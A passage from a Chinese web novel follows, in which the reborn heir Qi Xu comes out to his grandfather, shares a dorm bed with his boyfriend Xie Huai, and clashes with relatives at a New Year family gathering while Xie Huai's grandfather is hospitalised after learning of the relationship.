戚栩可是一直记得谢淮租房的说辞,时不时拿出来刺激一下他,堂堂谢家少爷说没钱一度沦落为租客,让他听听说的是人话吗。 谢淮保持人设:“现在算是投资我,给我一个家,年底我会让你看到可观的回报。” 用28岁戚栩的思维来说,那当然是投资谢淮比接手沈氏更有价值。 戚栩作为投资人拒绝他的画饼,问:“你现在的价值在哪里?” 谢淮自我推销:“暖床。” “……” 谢淮见戚栩不回应继续说,金牌推销的既视感:“我还有其他价值,如果想要试用得付定金。” 戚栩仰着头问:“怎么付定金?” 谢淮俯身亲了亲戚栩的嘴角,并附加音效:“定金到账。” 戚栩失笑,压着谢淮的脖子加深了这个吻,两人接了个草莓吻。 在谢淮即将将人抱起来的时候,戚栩推了推他喘息着提醒:“小孩还在。” 分开后戚栩第一时间去看客厅,沈梓炀不知什么时候凑到了谢淮的电脑前,用流利的英语和视频里的人打招呼。 周日,戚栩带着沈梓炀回老宅,打算当面和老爷子谈论这个问题。 在屋内的沈老爷子见到戚栩的到来心里也有准备,毕竟那份股权转让书没有给他答复。 李叔知道他们两爷孙有事情商谈,带着沈梓炀去了前院,也把客厅的所有人带走。 老爷子坐在茶桌前,如戚栩第一次来到老宅的场景。 戚栩落座之后熟练地冲茶,泡茶,倒茶,时隔多日心态一往不变,没有被利益左右,也没有被那些杂碎的事困扰,那份通透已经深入骨子。 老爷子何尝看不出来他这个孙子的内核强大,执行力更是一流,云瑞不到半年迅猛之势闯入大众视野,日后大有作为。 这也让他感到欣慰,他沈家后继有人,但戚栩似乎没有这个心接手他的家业。 戚栩为老爷子倒上一杯茶:“爷爷,喝茶。” 面前的孙子和半年前还是有变化的,看着更成熟也更游刃有余地和他这个老头对话。 “我知道你不想继承沈氏,更准确地说沈家对你来说没有任何诱惑力,我在想是不是不应该借此把你绑在这里。”沈老爷经历过大风大浪的脸上鲜少地露出后悔的表情,“如果你离开了沈家,是不是会拥有更广阔的天地。” 老爷子在心里叹息,他让戚栩离开父母独立户口,而自己何尝不是在困住了他。 戚栩如实地告诉他:“没有绑,是我自愿留在您的身边,现在沈家对我来说已经不是牢笼,困不住我,所以您也不必对我有愧疚,您对我来说是唯一的亲人。” 老爷子有些动容,同时也为唯一这个词伤感,心中骂了沈卓海千万次也不解恨。 “你不想要股份我也不强行逼你签字,沈氏不想要也可以不要,但这些东西还是得给你。” 说着他把另一份文件递到戚栩面前。 戚栩接过,看到第一行字了然,哭笑不得:“爷爷,这是你的不动产和流动资金,我更不能要。” 其中包括沈家老宅的屋主迁到他名下。 “为什么不能要,我给自己留了点棺材本就够了,我这些放着也是放着,还不如全部给你。”沈老爷子也算是谈判一把手,“这算是我入股云瑞,公司的资金链一旦出现问题很难运转,给融资机会还不如让我入股。” 姜还是老的辣,云瑞稳步上升中,资金链出现问题很容易被融资霸占,这也是创业人心中的一道坎,但戚栩还是没有要。 “你已经帮了我很多,铧信的邀请函也是你给我的,还有托信基金也打进我的账户,我手上还有钱。”他多加了一句稳住老爷子,“没钱我会问你拿。” 沈老爷子根本不相信戚栩的话:“你小子就别哄骗我了,信你才怪,我给你了一张邀请函,你给我买大几十万的茶饼,你心里还是觉得欠我的,要还。” 戚栩低头喝了口茶,倍感心虚。 是要还的,他对老爷子做不到心安理得全然接受。 老爷子轻咳了一声,开始进攻:“我的钱你可以不要,但老宅会转到你的名下。” 戚栩放下茶杯:“老宅给我也没用,我传承不下去。” 他顿了下,一字一句说:“我喜欢的人是男的。” 老爷子经历过先前被沈家人捅到台面上,闹得不可收拾自家孙子的性取向,欣然接受了这个事实。 甚至还出口赞赏:“不错,清楚认知到自己的性取向。” 戚栩:“……” 继而他听到老爷子继续说:“沈宅又不是皇位,不需要传承下去,你以后要是在外面混不下去,还能住进老宅,有瓦遮头。” “应该不至于混不下去吧。”戚栩手里还有个不可估量的潜力股,“我的另一半以后应该会有大出息。” 要是两人双双创业失败,也是能搬回老宅,一个人住一家,当个邻居,晚上互相爬墙那种。 老爷子骂了他一句没出息:“靠别人不如靠自己,你们现在还年轻,一头撞入了爱情海,看对方什么都好,情人眼里出西施,大有出息也不是你说了算是不是,以后的事谁也说不定。” 戚栩点了点头认可老爷子的话:“他是谢淮。” 老爷子像是听不清似的:“什么淮?” 戚栩说:“谢淮。” 老爷子像尊雕像一动不动愣了好半晌,不可置信地说:“没想到我和谢老头还有当亲家的一天。” 他忽然皱眉:“那我的茶饼不是要分给他一半!” 戚栩:“……” 第72章 第 72 章 老爷子察觉到自家孙子的眼神, 问:“你以为我会持反对意见?你爷爷我什么大风大浪没见过,不就是喜欢的人刚好是男的,这个人刚好也是谢老头的孙子。” 他沉默了两秒, 又不得不承认:“这孩子确实大有出息, 他们这些小一辈里我最看好他,家世是作为他日后大展宏图的锦上添花,我听谢老头说他赚的第一桶金是用过年红包投资,最后收益将近百倍。” 戚栩倒没有听谢淮说过这件事,可能第一桶金在他这里不算什么值得炫耀的资本, 也是,钱而已,谢淮值得炫耀的是他这个人。 每天雷打不动炫耀自己的资本, 不限于洗澡的时候不带上衣,睡回笼觉的时候让他摸腹肌,又好比睡醒之后领口全开勾引他。 体验了一把美人在怀死而无憾。 老爷子在说正事他这个时候发散思维似乎不太好, 连忙回神。 老爷子见戚栩的表情不对,问道:“怎么, 你欺负人家了?” 戚栩闻言笑了起来:“您怎么觉得是我欺负人家,难道就不能他欺负我吗?” 老爷子哼笑:“你个小霸王还能让别人欺负不成,我都该担心以后你们俩谁当家。” 说着他叹了口气:“我知道你们俩都是好孩子, 他有谢家做后盾,我也想你把我当成你的后盾, 虽然没几年活头了, 我错过了你18年, 让我还在世时能为你做些什么。” 戚栩捏着茶杯的手紧了紧, 不禁想到前世,老爷子每次和他见面都会对他说遇到麻烦一定要说, 直到入院那天老爷子戴着呼吸机虚弱地说,爷爷好像不能再当你的后盾了。 他才意识到原来这是老爷子的执念,他一直都在一个人硬撑,就算因为被沈枫凯故意为难,整个团队焦头烂额,而他因为一日三餐不准时胃溃疡进院也没向老爷子开过一次口。 戚栩伸手拿过桌面上那份文件:“我先收着,您别再说没有几年活头了,我才18岁,您就不怕我过几年学坏了,败光了所有的家产,您得要长命百岁的看着我,我犯错了,要用拐杖追着我打。” 老爷子一脸动容,几秒后拿起一旁的拐杖:“你不收下我才要用拐杖追着你打,一点都不听话。” 戚栩按下老爷子的拐杖,握住他的手:“爷爷,我会乖乖听您的话,这不是拿回家了么。” “不签拿回家收起来是吧。”老爷子傲娇地说:“我也预料到你这样做,遗嘱我也立好了。” 感情留着后手呢,无论他签不签字,他也拒绝不了,老爷子一定要把财产留给他。 戚栩笑笑:“那我现在算啃老吗?” 老爷子恨不得他多啃点,老年霸道总裁从口袋里拿出一张黑卡:“随便啃,不够我还有。” 戚栩扬眉:“你们霸总都随随便便把黑卡拿出来。” 老爷子不甘示弱:“还有谁给你黑卡?” 戚栩说:“谢淮。” 老爷子摇头:“让这个臭小子抢先一步。” 财产方面戚栩拗不过老爷子,也只好顺他的意,等百年之后遗产生效。 为了不让老爷子惦记着这件事,戚栩主动进书房练字,他故意写得不像样。 果不其然被老爷子一通骂,什么黑卡,遗产都抛到一边,一心把他的字拉回正道。 “混小子,你多久没碰过毛笔了,一手鬼画符谁看得懂,自己有点基本功就得意忘形,给我抄十篇。” 戚栩难得乖巧:“这就给您抄。” 门外的李叔捂着沈梓炀的耳朵:“小少爷,咱们到外面吃点心吧,有你喜欢吃的巧克力蛋糕。” 老宅热热闹闹了大半天,晚饭厨房也备好了一桌好吃的,老爷子的口味和小孩的口味。 今天是周日,这份热闹总归要结束,沈卓宏派人来接沈梓炀回家,而戚栩也要回学校。 谢淮来接戚栩,一下车就看到门口的两爷孙,他问好:“沈爷爷。” 老爷子摆了摆手让戚栩回去:“都这个点了,赶紧回学校。” 戚栩说:“我下个星期回家。” 老爷子嘴硬心软:“来来回回也不嫌麻烦,快元旦了,也别费这个劲儿,放假再回来吧。” 也怕耽误戚栩的时间,他知道创业期间的艰辛和不容易,何况戚栩还要兼顾学业。 “阿淮啊,我发现这小子最近越来越懒惰了,字没怎么练过,你得管着点他。” 谢淮看了眼戚栩,应下:“爷爷,我会好好管着他的。” 戚栩翻了个白眼,这就叫上爷爷了?真有眼力见。 戚栩和老爷子告别,跟着谢淮往车里走去。 他说:“阿淮。” 谢淮抓起他的手,冰凉的,面无表情地放进口袋里:“嗯。” 戚栩见他并不热情,说道:“不说点什么吗?” 谢淮捏着他的手说:“出门让你戴上围巾怎么不戴。” 戚栩诡辩:“出门的时候不冷。” 其实就是忘了。 老爷子还没进屋,两人一路的行为看在眼里,他略感欣慰笑了笑。 等车子驶离老宅后,戚栩在车里回头去看,老爷子独自站在门口还没有进去。 老人拄着拐杖身姿依旧挺拔,这个老人一辈子都在撑起整个沈家,也让沈家立足于顶峰。 可人会老,戚栩尽可能在这一生陪伴在他的身边,可好像并不够。 爷爷会老,而他自己会长大,他成长的速度远比不上爷爷老去的速度。 戚栩说:“我想多陪陪爷爷。” 谢淮永远都回应戚栩:“好,我们一起陪着他。” 隔壁谢家。 管家进来通报:“老爷子,少爷回来了。” 谢老放下手里的书,看时间:“这么晚回来是有什么事吗?” 管家继续说:“应该没事,少爷他没进门,在门口接上戚少爷就走了。” 谢老顿了下不知想到了什么:“前段时间我听廷曜说阿淮把家里的东西都搬出去,搬到哪里了?” 管家说:“搬到紫金湾,和戚少爷住在一起。” 谢老摘下老花眼镜,低头擦了擦:“去和沈老说一声,我约他明天饮茶。” 管家应下后离开,谢老重重地叹了一口气。 — 沈家所发生的一切都没有影响戚栩的正常生活,依旧逃脱不了小组作业。 群里的组员只是一昧地发收到。 比戚栩还暴躁的还有李彦,因为他是组长,别的组已经在总结的时候他们还在查资料,别的组已经完成他们群聊还说麻烦砍一刀。 李彦激情开麦,按着语音条:“都别特么干了,大家一起零分吧,下个星期一汇报,我们整个小组就是一坨,还汇报个屁。” 李彦很少发脾气,这是314第一次见识到他发起脾气来是如此恐怖。 冯振杰连忙奉上肥宅快乐水:“别和他们一般见识,消消气,这不是还有好几天么,够时间的。” 李彦抓了抓头发:“我恨小组作业。” 戚栩平静地附和:“我也恨。” 李彦看向戚栩:“栩哥,你们组也没结束?” 戚栩嘴里咬着谢淮新补货的果脯,生无可念:“没,一坨。” 现在戚栩有愿望了,希望重生后没有小组作业。 李彦哭唧唧:“小组作业就是折磨我们这种有责任感的人。” 谢淮起身站在戚栩身后握住他的鼠标滚动查看,一只手撑在椅背将人围在怀里:“他们不愿意配合?” 戚栩倚着靠背,后脑勺撞了下谢淮:“愿意是愿意,极其敷衍,笃定我会把所缺的资料补上,会拿高分,我是会拿高分,但我也会如实汇报给任课老师。” 戚栩不怕得罪谁,得罪的人多了,也就变成家常便饭,从不内耗自己。 谢淮皱眉看着屏幕上乱七八糟的资料:“直接在汇报的ppt上标明每个人所负责内容,没做就是没做。” 李彦和冯振杰面面相觑,竖起了个大拇指,这两个学霸真是谁也不惯着,惹到他们算是踢到钢板了。 小群里被李彦这么一吼,个个纷纷冒泡,生怕李彦这个组长撂担子不干,保证今晚一定交任务。 晚上,李彦收到了每个人递交上来的资料,看了两眼还算满意,转交负责ppt制作的组员。 心中一块大石头,松了一口气准备早点娱乐,然后鬼使神差地打开了学校论坛。 自从戚栩低调行事之后,不,应该是隔壁班的沈泽予休学之后他就很少打开论坛。 除了那天戚栩收到一束红玫瑰并承认有人在追求他,他上论坛凑热闹之外,戚栩这个名字也很少出现在论坛了。 李彦刚打开论坛便发现怎么这么热闹,几个月前的帖子都给挖上来了,而且这些帖子很眼熟。 无一例外都是关于戚栩和沈泽予。 李彦点进最新的帖子终于知道真假少爷又火热起来的原因。 今晚沈泽予和沈氏集团副总裁一同参加沈氏旗下公司的新品发布会,报道画面中的沈泽予西装革履,意气风发,一改校园大学生的形象,摇身一变成为沈氏接班人。 沈泽予休学之后,爱看真假少爷热闹的人平日少了很多乐子,这会儿让他们发现沈泽予休学之后再次以胜利者的身份面向公众,他们就知道真假少爷系列还没完。 【靠,沈泽予这是要继承沈氏的节奏?假少爷即将名利双收。】 【所以休学的原因是要回家继承家产?】 【我听说他是惹上官司才休学,为了保住名声。】 【只有我一个人好奇他一个和沈家无血缘关系的人是如何进入沈氏,那真少爷呢?】 【冷知识,只要手上有股份,不管什么人都能进入公司,至于真少爷,不是在学校好好学习么。】 【假少爷接手沈氏,我要阴谋论了,凭什么啊。】 【一个精心培养的孩子,一个接受普通教育的孩子,当然选前者。】 【所以沈家是在沈泽予身上押宝,放弃了戚栩这个亲生儿子。】 李彦本想告诉戚栩论坛上的事,然而一转头就看到栩哥在淮哥的座位上说着他听不懂的话题,电脑上也是他看不懂的东西,两个人放松地侃侃而谈,忽然又觉得没这个必要。 别人过得怎么样是他的事,我们只要过好自己的生活就好。 不过戚栩还是知道了沈泽予出席分公司新品发布会的事,因为被推送了。 戚栩看了眼标题心如止水地划走,关他什么事。 话又说回来,戚栩无语地看着洗完澡爬上了他的床的谢淮:“你怎么回事?” 李彦替他回答:“栩哥,是我的问题,我给淮哥递矿泉水的时候不知道瓶盖松了,他没拿稳,水撒在他的床垫上了,床睡不了人。” 好耳熟的说辞,又水漫金山了。 戚栩反问:“你觉得宿舍的床能睡得下两个男人?” 冯振杰说:“都是好兄弟,挤挤就好。” 谢淮自带枕头放在床边,又熟练地整理戚栩床上的被子。 靠着墙的戚栩咬牙:“你也不怕床塌了。” 谢淮一本正经地说:“不做什么应该不会塌。” 第73章 第 73 章 戚栩的床上有帘子, 一拉上帘子对床的两位舍友看不到这张床所发生的一切。 谢淮倒没有着急把帘子拉上,在开灯期间还在床上不紧不慢地回复工作信息。 而戚栩已经安稳睡在里边,捧着手机在玩贪吃蛇, 在五人群里抢了徐亦辰的红包, 顺便用零钱在游戏里充了钱,给他的贪吃蛇装扮。 李彦和冯振杰在组队玩游戏,相比较两人的鬼哭狼嚎,戚栩独自岁月静好。 戚栩再次刷新了自己的新纪录,心满意足地放下手机, 像往常一样玩着手串酝酿睡意。 李彦和冯振杰成功上星,扫了一眼对床,不知道什么时候已经拉上了床帘。 李彦起床去了一趟洗手间之后关灯, 宿舍陷入一片黑暗。 戚栩放在身侧的手被牵了过去,放进了腹部,掌下是熟悉的触感。 他不是没有和谢淮睡在同一张床上, 但都是纯盖被子睡觉,因为他的起床气大, 随时随地都能把谢淮踢下床。 好在谢淮也足够安分守己没有招惹他。 戚栩的双脚也被夹住,有人暖床的感觉不赖,特别那人还是个人形暖炉, 浑身暖烘烘的。 在空间如此小的地方,两人的身体紧贴着, 似乎都能听到对方的心跳声。 莫名的安心。 戚栩昏昏欲睡, 任由谢淮摆弄, 连被人捏着下巴讨了个晚安吻也欣然接受, 微张着嘴巴去迎合对方的强势侵入,谢淮的手探入了衣摆也浑然不觉。 亲了好一会儿, 戚栩努力克制着没有发出任何声音。 熄灯好半晌后,李彦还在被窝里玩手机,忽然刷新到班群的消息,说道:“栩哥,淮哥,班群里说明天第四节体育课小体测,下个星期大体测,做好准备。” 冯振杰已经放下手机,生无可恋地长叹:“明天5°,灌一肚子冷风要了命了。” 李彦再喊了一声:“淮哥?栩哥?” 隔壁床的两个人依旧一声不吭。 冯振杰放低了声音:“睡着了吧,这个点是栩哥睡觉时间。” 李彦嘀咕:“淮哥也睡了?睡眠质量也会互相传染?” 戚栩被亲得喘不过气,谢淮终于消停了,就在戚栩以为自己能睡觉的时候才发觉刚刚上的只是前菜。 “嘶,艹,别吸。”戚栩在即将入睡之际,察觉到异样,抖了一个激灵倏然睁开眼睛,拽着胸前的脑袋,咬牙切齿,“谢淮,你特么口欲期是吧。” 领口不知道什么时候被谢淮解了两颗扣子,整个人脑袋埋入了他的胸膛,头发蹭得他发痒。 戚栩不得不加大拽他头发的力度,谢淮这个狗东西似乎更兴奋了。用舌尖舔舐,一寸一寸往另一边移。 戚栩再次抖了一下,如果不是床垫有一定厚度,人在床上已经被弹了起来。 这会儿戚栩才发现床上的被子换了,最里面的那张原本是套被,现在变成毛绒被,他们两个有所动作也不会发出窸窸窣窣的声音。 真够贴心的。 戚栩双手紧紧拽住了谢淮的睡衣,微颤着,指尖都在发软。 谢淮松开了嘴,又咬上了锁骨。 两人没有做过,甚至还没有踏出过界的一步,戚栩却觉得他的身体已经被谢淮玩熟了。 灼热的呼吸喷洒在戚栩的颈边,更热了。 “你平躺。”戚栩推了推他,没有发出太大的声音。“碰到我了。” 谢淮紧紧圈着戚栩,占有欲得到诡异地满足,声音懒懒:“别管,等会就好。” 戚栩好声没好气:“这是能好的事?” “嗯。”谢淮没说太多话,轻抚着戚栩的后背。 戚栩本身就没太大睡意,可能是因为临睡前收到曾云发来的消息,让他元旦回家相聚。 时隔一个月的重新联系,似乎之前所发生的一切没当回事。 不知道谢淮看没看到,应该是看到了,他再次想到谢淮有预谋的水漫金山,可能是因为论坛那些言论。 戚栩在谢淮的耳边问:“你觉得我因为那件事不开心想转移我的注意力?” 谢淮没有直接承认,咬着他的耳朵说:“不,单纯地想和你睡觉。” 戚栩:“……” 然后他听到谢淮说:“元旦我们回老宅。” 戚栩确定谢淮已经看到信息,并没有说话,在他的掌心抓了抓。 谢淮回握住他的手,继而又埋进他的颈脖。 戚栩:“……” 无声地谩骂中。 到了第二天的体育体测,戚栩戴着口罩哈欠连天,挡住冷风却挡不住红了的眼尾。 “栩哥,你昨晚不是早睡了吗,怎么还这么困。”李彦不解地问。 戚栩又打了个哈欠,眼尾挂上了生理泪水:“是啊,早睡了,鬼知道是怎么一回事。” 他一边说着一边瞪着始作俑者。 冯振杰说:“淮哥和你同一个时间点睡觉,他看着就精神抖擞,栩哥,你的中药好像又要喝起来了。” 戚栩坚决不喝中药,决定远离谢淮,这人才应该喝中药调理身体。 体测过后,又是小组作业的汇报,12月在繁忙中来到了尾声。 元旦三天假期,离家远的学生并不打算回家,再过半个多月就放寒假,现在是期末周,不少学生都选择留校复习,在学校跨年。 假期的第一天,314约了第一次宿舍聚餐,四个人吃了火锅喝了点酒,李彦和冯振杰喝得有点多,戚栩不放心让陈威送他们回学校。 而他坐上了谢淮的车回老宅。 老爷子对孙子每个星期回家已经见怪不怪,闻到两人身上的酒味还让李叔准备了醒酒汤。 谢淮在沈家老宅喝完醒酒汤才回谢家。 这个点谢老还没有睡觉,谢淮脱下外套才进书房。 不过还是被谢老闻到酒味,刚开口让管家备醒酒汤,谢淮说:“我在沈爷爷家喝过了。” 谢老抬眸打量着这个引以为傲的孙子,以前他总觉得他了解亲手教育的孩子,有他和秦家的保驾护航不会让他走错一步。 如今初长成人,用不着他样样操心,能一个人独自担起一个上市公司的责任。 “听你父亲说你打算大学毕业后出国深造。” 谢淮淡淡地说:“以前是有这个打算,现在我想留在国内。” 谢家夫妇在小时候忙于各自事业,把孩子送到谢家和秦家共同教育,三位老人是何许人也,在教育孙子方面从来都用于精英教条,以身作则。 以至于有一段时间谢淮老少成熟,不到十岁就像个老头子一样老气横秋,还是秦越发现不对,带着养了一段时间,不然就没有现在拥有喜怒哀乐的谢淮。 谢老年轻的时候生杀予夺,手段狠辣,随着年纪越大,这种狠辣从来都没有朝向着家人一次。 “出国吧,到外面可能有更好的选择,不是喜欢人工智能吗,去选择你喜欢的东西,谢氏现在还用不着你,你父亲会接手。” 是让他大学毕业之后出国,而不是让他现在分手,谢淮觉得老爷子还是心软了。 “在国内还有四年时间,我能干的事全都做完了,您让我四年后再出国的意义是什么?没有任何意义,距离不是问题,只不过是一架私人飞机的事,他不来找我,我会去找他。” 谢老拄着拐杖,神情严肃:“我怜爱那个孩子,他流落在外18年过得不容易,你们既然在一起了,我也不是迂腐的人,四年换你们一生正途,意义在于此。” 谢淮站得笔直,没有坐下:“正途,结婚生子?我做不到,也不会做,我一生就认定了他,爷爷,您也不想我孤独终老吧。” 孤独终老,多么恶毒的诅咒,不是放在别人身上,是他的孙子自己诅咒自己。 谢老气极了,死死地拄着拐杖:“阿淮,不要挑战我的容忍度,你要是不松口,连这四年你都没有掌握权。” “我有掌握权。”谢淮年纪轻在当家人面前气势不败,“他脱离于沈家,我亦可以。” 我亦可以这简简单单的四个字,无异于让谢老这些年对谢淮的教育功亏一篑,让谢秦两家的心血付之东流。 谢老忽然痛苦地捂着心口,谢淮连忙上前找到老人随身携带的救心丸喂进去,让管家叫医护团队。 谢老脸色发紫,是心梗的表现,医护团队随时待命所以来得很快,在书房里经过救治后,谢老的情况稳定下来,紧接着把老人送上了救护车。 沈老爷子听到隔壁院子的动静披着件衣服起来,李叔敲门进来。 老爷子问:“出什么事?” 李叔忧心地说:“谢老进医院了,心脏的问题。” 他们这些老人心脏脆弱,做过心脏搭桥手术最忌讳情绪波动大。 谢老头子的性格他了解,没有什么事能轻易惹怒他,除非是有关谢淮。 他想起前段时间谢老头找他喝茶,几乎都是围绕孙子教育的问题而展开,其中更有以后孙子结婚生子,他们何时能够抱重孙。 当时他拐着弯说不在意抱重孙,只希望孙子能够找到自己的幸福。 并有意无意地劝他是时候对谢淮放手,不要抓得这么紧,孩子大了有自己的想法。 谢老头子应该是察觉到那两孩子的事,把老家伙气进医院,也不知道两爷孙说了什么。 “哎,我都劝他放手,怎么越老越犟,我是装心口疼,他是真进医院。”沈老爷子无比地担忧,“我就应该提前和他打个预防针,也怪我,以为他能想得明白。” 李叔安慰:“老爷您也别太自责,小少爷对你说他喜欢的人是谢少爷的时候您不也是一宿没睡着。” 沈老爷子不太好受,退位以来已经好久没这样过了,患得患失的:“是啊,要是我走了,这个世界上就没有人能站在臭小子那边,他该怎么办。” 他沉默了两秒,对李叔说:“包好我珍藏的茶饼,过两天我去看看他。” 深夜,相邻的两座大院深宅风格迥异,一座永远的亮着灯,一座却神秘隐于黑暗,相隔的围墙隔绝尘嚣,也隔绝无法越俎的鸿沟。 第74章 第 74 章 谢老入院的事戚栩也知道, 当晚就给谢淮发信息询问,将近凌晨1点对方才回复信息,已然是新的一年, 那时候他正在还愿。 老爷子不过新历新年, 只过旧历的新年,老宅没有新年的气氛,所有新年气氛都在朋友圈的跨年倒数。 戚栩放假回家特地带了香炉回来,偷摸从酒柜里拿了一瓶酒,搜刮了背包里的果脯, 放在全新的砚台上垒成小山。 戚栩在香炉上插上三支香,想起重生回来的那天,大鱼大肉山珍海味, 好像没有兑现诺言,不过好在还有果脯,他应该会喜欢吃。 寒风刺骨, 戚栩被谢淮养成了戴围巾的习惯,挂着围巾在阳台栏杆倒上三杯酒。 不知道是摔落楼梯的原因还是什么, 他对这之后的事全然不记得,当场死亡还是送到医院救治之后死亡,脑袋里没有一点记忆, 宛如喝孟婆汤喝了一半没喝完。 但他确定的是重生不是他生前的执念,他从来没有想要再重来一世的想法, 死亡对他来说是一种解脱。 没有人比自己更了解自己。 所以是上天大发慈悲给他的机会, 让他重来一次过自己的生活。 不过他确认了一件事, 跌落楼梯的时候谢淮在场, 案发现场的第一人。 就很感慨,死前和重生后第一个见的人都是谢淮, 这个他曾经以为是敌对的人。 可以说是阴差阳错,如今他和这个人在一起,心意相通。 口袋里的手机震了震,戚栩拿出看了一眼直接打了个电话过去。 谢淮第一句话就问:“怎么还不睡觉?” “准备睡了。”戚栩关心谢老的身体,“谢爷爷怎么忽然进医院?” 谢淮站在病房走廊,老爷子已无大碍,护士在里面换药水:“老毛病。” 戚栩察觉到谢淮的情绪变化:“怎么了?是不是出了什么事?” 谢淮还是那句话:“没事,现在不睡明天打算睡一整天?” 戚栩拿起杯子抿了一口酒:“当个睡王子不行吗?” 谢淮失笑:“行,那我应该吻你吗,王子。” 戚栩拒绝了:“不需要,你好好照看老爷子。” 谢淮像是在戚栩头顶装了监控一样:“别喝那么多。” 戚栩“嘶”了一声,看着旁边的谢家:“其实你没去医院而是在某处偷偷窥探我吧。” “嗯,在偷看你。”谢廷曜从电梯门口出来,谢淮看了一眼,继而对电话那头说,“早点睡,明天我回老宅。” 戚栩应下之后谢淮才挂了电话。 谢廷曜接到管家的电话第一时间赶过来,惊动了已经睡觉的妻子,安抚过后独自一个人过来。 “你爷爷的身体一直很硬朗,心脏问题更是好几年没事发作。” 谢淮如实地说:“今晚我和他说了我喜欢戚栩的事。” 谢廷曜愣了下,皱眉:“我不是说了先不要告诉他。” 谢淮沉默了,谢廷曜对他说:“你明知道你爷爷他心里最惦记的人是你,就算要说也得我和你母亲在场,他老人家接受不了这件事也能有有个人帮拖,还是你打算自己一个人对抗整个谢家。” 谢淮坚定地说:“如果你们硬要分开我和戚栩,又或者用什么四年换我们分开,我有这个想法。” 不知道是什么原因,谢淮不想离戚栩太远,总觉得他出国了这段时间会发生他无法控制的事。 戚栩会离他越来越远,直至抓不住。 谢廷曜了然,老爷子有心让两个孩子分开,笃定他们长久不了,18岁的年纪定下一生过于儿戏。 谢廷曜这段时间被秦缓思科普了许多同性恋知识,心里也逐渐接受两孩子互相喜欢这件事。 “这件事得从长计议,你不要再刺激你爷爷了。” 可他们好像低看病床上这位老人的手段,这可是曾经叱咤整个商场建立商业帝国的老人。 翌日,戚栩这个睡王子不是被吻醒而是被吵醒。 元旦这天,沈家人借着节假日的理由到老宅看望老爷子,同时也包括被沈枫凯在沈氏解雇的沈家人连带的家属。 当时被解雇的时候老爷子闭门不见,如今沈卓海被降职,他们曾经背靠的大山已变成小山丘,无利可图,他们是来找其他大山的。 只要姓沈,就有进入这座庄园的许可,只不过进入老宅需要老爷子的点头。老爷子同父异母的兄弟两人,还有老爷子的亲女儿,这三家人怕是分家产一样,带着家人就来了。 此时,戚栩的院子里站着好几个人,都是沈家小辈,不过在这些人里算得上沈家后辈的只有沈梓炀一个。 小卷毛听到保姆说哥哥还没有起床,一个人在小院子里玩。 没过一会儿就有一群人嬉闹闯了进来,他们都是沈家小辈,被父母下了任务讨好沈卓宏的儿子,这个话都说不全的混血儿。 “堂弟,你想玩什么?这里也没什么好玩的,不如我们带你出去玩吧。” 他们知道这是戚栩的院子,那天在医院见识到戚栩六亲不认的态度,这人连自己是同性恋都能轻易承认,疯子一个。 而且现在沈家人里只有沈泽予和沈枫凯真正进入沈氏,戚栩在沈家彻底不受宠,就怕戚栩觉得不平衡忽然发疯。 沈梓炀年纪轻轻就是颜控,见过戚栩和谢淮两个哥哥对其他人并不感兴趣,高冷得很,看都不看他们一眼。 沈金荣在兄弟姐妹里当惯了领头羊,何时被人这样忽略,他就不信搞不定这个还没戒奶的小孩。 他让人拿来变形金刚,在沈梓炀面前晃悠:“弟弟,要玩吗?” 沈梓炀抬头看了眼,沈金荣以为有戏,谁曾想到小屁孩说:“不想,你这个又不是限量版,大哥给我送了很多。” 沈金荣不解地问:“你大哥是谁?” 沈大伯不是只有一女一儿吗? 沈梓炀看他们像是在看笨蛋:“大哥就是哥哥的男朋友,这你都不知道。” 哥哥的男朋友?戚栩的男朋友? 戚栩也是够大胆,竟然将男人带回老宅。 沈金荣他们费尽口舌也能把沈梓炀带去玩,耐心已经殆尽。 保姆去给沈梓炀拿零食,沈金荣给了旁人一个眼神,准备将沈梓炀强行抱走,小孩而已,带着玩起来就行。 沈梓炀不被陌生人碰,被人抱起的时候大声闹着,戚栩就是被他的声音吵醒了。 戚栩站在阳台目睹了这一幕,开口:“沈金荣,几日没见当起人贩子了?” 沈金荣闻声抬头:“关你屁事。” 沈梓炀见到戚栩委屈地撇了撇嘴:“哥哥,他们打我。” 沈金荣:“……” 戚栩皱眉,示意刚进院子的陈威抱走沈梓炀,拎起小卷毛遗落在阳台的弹力球朝院子里那几个人扔去。 前世没白练枪击和射箭,扔起球来百发百中,沈金荣那几个人在院子里大骂,惊动了在正院聊天的众人,听到自家孩子的声音纷纷赶来。 结果见到戚栩欺负他们家的孩子,立即开口制止:“戚栩你疯了吗,停手。” 戚栩非但没有停手,扔得更起劲儿了,起床气在这一刻爆发,本睡不够的戚栩就脾性大,又被沈金荣等人吵醒,恨不得全世界毁灭。 院子里鸡飞狗跳,那几个人上蹿下跳,沈梓炀也扔了几个球,但没扔中,嘴里说着坏人。 也不知道为什么迟迟没有佣人过来,仿佛整座偏院被孤立了一般。 最后是各位堂叔堂姑丈护儿心切,闯进来把沈金荣他们带走,期间也挨了不少球。 离开偏院后一行人到沈老爷子面前告状,说起来好笑,一群孩子就算了,大人跟着一起来告状不知道的还以为都是老爷子膝下的亲生儿女。 沈老爷子掀起杯盖,轻飘飘地说:“小孩子的玩闹而已,你们掺和什么,怎么,你们也是小孩?” 一群大人瞬间闭嘴,他们变成了和不懂事小孩子计较的心胸狭隘的人。 沈卓海没有到今日的家宴,他对沈老爷子降他职这件事心有芥蒂,又或者不想面对沈卓宏,总而言之,曾云带着两位儿子到老宅。 前几日沈枫凯和沈泽予出席分公司新品发布会抢尽风头,个个眼睛滴血看得眼红,时不时到沈卓宏面前说了两个后辈比你这个总裁还要威风。 他们更想见到狗咬狗,从中得利。 谁知道沈卓宏笑得乐乎,丝毫不介意地说:“后辈有出息我开心不过,可以帮我分忧。” 曾云带着两孩子到老爷子面前问好。 沈枫凯和沈泽予齐齐开声:“爷爷。” 沈老爷子点了点头,转头问曾云:“身体没有大碍了吧。” 曾云知道老爷子说的是被戚国辉吓进医院这件事,虽然及时封锁消息,还是被老爷子知道了,期间也送过补品到家。 她知道老爷子并不认同他们的做法,但已成定局。 如果老爷子这个时候告知于公众,无异于当众拆穿他儿子的所作所为,念在父子之情,老爷子不会做这种事。 曾云微笑:“已经好多了。” 堂姑和小姑听到两人的对话,假惺惺地过来关心。 沈泽予扫了一圈并没有发现戚栩的身影,直到开席的时候也不见他的出现。 曾云来老宅的其中一个原因是来见戚栩,她问道:“小栩呢,是不是不知道吃饭,我去叫他。” 就在曾云即将起身的时候,听到沈三叔说:“嫂子别忙活了,你那个儿子厉害得很,目无尊长,现在还要摆架子吃饭要人请,二嫂你还是你会教啊,教出来了一个山大王。” 